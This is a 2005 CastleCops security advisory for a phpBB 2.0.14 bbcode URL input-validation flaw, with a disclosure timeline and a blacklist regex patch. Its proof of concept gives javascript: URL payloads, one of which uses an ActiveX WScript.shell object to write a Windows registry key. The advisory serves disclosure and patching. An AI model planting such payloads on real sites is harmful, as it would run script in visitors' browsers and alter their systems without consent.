CastleCops phpBB bbcode Input Validation Disclosure
*CASTLECOPS.COM SUMMARY
bbcode input validation
Severity: High
CastleCops: http://castlecops.com/t123194-.html
CVE: CAN-2005-1193
phpBB Security ID#: 266
Bugtraq ID#: 13545
Secunia #: 15298
US-CERT VU#: 113196
SecurityTracker #: 1013918
Vulnerable: viewtopic.php, privmsg.php for phpBB 2.0.14 (possible all
lower versions too), and other files that rely on bbcode.php
Fix: Upgrade to 2.0.15
*INTRODUCTION
phpBB is a popular bulletin board system based on PHP. There is a lack of
filtering for the BBCODE URL. Initially discovered: encapsulating a
specially crafted URL, a user caught clicking on the resulting hyperlinks
can have their registry entries modified without their knowledge [huge
hazard!], among other things. Originally successfully tested with
"javascript://", but subsequent discovery showed that "applet://",
"about://", "activex://", "chrome://", and "script://" may be able to get
thru as well with the URL enclosure or not (of course, browser dependant).
It is recommended that these types of URIs not be allowed to render at all
in the phpBB system as the possible user computer hijacking can be
gargantuan. There is enough hijacking in spyware products (ref:
http://castlecops.com/f67-Hijackthis_Spyware_Viruses_Worms_Trojans_Oh_My.html
).
*PROOF OF CONCEPT
This POC uses the URL encapsulation:
[url=javascript://%0ASh=alert(%22CouCou%22);window.close();]Alert box with
"CouCou"[/url]
[url=javascript://%0ASh=new%20ActiveXObject(%22WScript.shell%22);Sh.regwrite(%22HKCU%5C%5CQQQQQ%5C%5Cqq%22,%22CouCou%22);window.close();]Create
registry entry: HKCU\QQQQQ\qq = "CouCou"[/url]
[url=javascript://%0Awindow.opener.document.body.innerHTML=window.opener.document.body.innerHTML.replace(%27Hi%20Paul%27,%27Hi%20P.A.U.L%27);window.close();]Modify
opener page: Paul -> P.A.U.L[/url]
If you click on the second link, be sure to find and remove the "QQQQQ"
entry in your Windows Registry. However, we recommend you do not click
expect for developer testing and patching.
*FIX
The CastleCops suggested patch was integrated into bbcode.php. That
suggested patch is within the includes/bbcode.php file,
bbencode_second_pass function, after the global line (and a second
location):
+ $text =
preg_replace('#(script|about|applet|activex|chrome):#is',"\\1:",$text);
This particular patch replaces the colon with its decimal equivalent and
will bypass hyperlink creation on viewing a topic or a private message.
Both the POC and patch have been tested on some sites with success.
This patch has been included in the phpbb 2.0.15 release. Please be sure
to read the release in its entirety for the precise update:
http://www.phpbb.com/phpBB/viewtopic.php?f=14&t=288194
*COMMENTARY
Possible alternative patches?
Modsecurity adds a nice layer of security in filtering requests to a
website. However, the links above in the POC clearly show the web server
may not process them as they are client side driven. Modsecurity would
not help in the examples above.
Whitelisting is another method, however it was decided to utilize the
blacklist above by phpbb.
*WEB BROWSERS USED
Basic tests were done using Firefox and Internet Explorer. Your own
mileage may vary.
*CREDITS
Discovery and patch by Papados and Paul Laudanski at http://castlecops.com
*HISTORY
Vendor A: phpbb.com
Date Discovered: 20 Apr 2005
Patch Given: 20 Apr 2005
Vendor Notified: 20 Apr 2005
Acknowledged: 20 Apr 2005
Patch Released: 7 May 2005
Pre-Full Disclosure: 8 May 2005
Full Disclosure: 02 Jun 2005
Vendor B: (nameless)
Vendor Notified: 12 May 2005
Acknowledged: 12 May 2005
Responded: 26 May 2005 (Deemed a non-issue)
*DISCLAIMER AND LICENSE
ALL SUCH INFORMATION, SOFTWARE, PRODUCTS, AND SERVICES ARE PROVIDED "AS
IS" WITHOUT WARRANTY OF ANY KIND. CASTLECOPS, ITS AFFILIATES, AND/OR THEIR
RESPECTIVE SUPPLIERS HEREBY DISCLAIM ALL WARRANTIES AND CONDITIONS WITH
REGARD TO THIS INFORMATION, SOFTWARE, PRODUCTS, AND SERVICES, INCLUDING
ALL IMPLIED WARRANTIES AND CONDITIONS OF MERCHANTABILITY, FITNESS FOR A
PARTICULAR PURPOSE, TITLE, AND NONINFRINGEMENT.
Subject to terms in the CastleCops AUP:
http://castlecops.com/article1.html.
--
Sincerely,
Paul Laudanski .. Computer Cops, LLC.
Microsoft MVP Windows-Security 2005
CastleCops(SM)... http://castlecops.com
CCWiki .......... http://wiki.castlecops.com
CCForums ........ http://castlecops.com/forums.html
BHO/Toolbars: http://castlecops.com/CLSID.html
Windows XP/NT Services: http://castlecops.com/O23.html
Extra IE Buttons: http://castlecops.com/O9.html
Layered Service Providers: http://castlecops.com/LSPs.html
StartupList: http://castlecops.com/StartupList.html
________ Information from Computer Cops, L.L.C. ________
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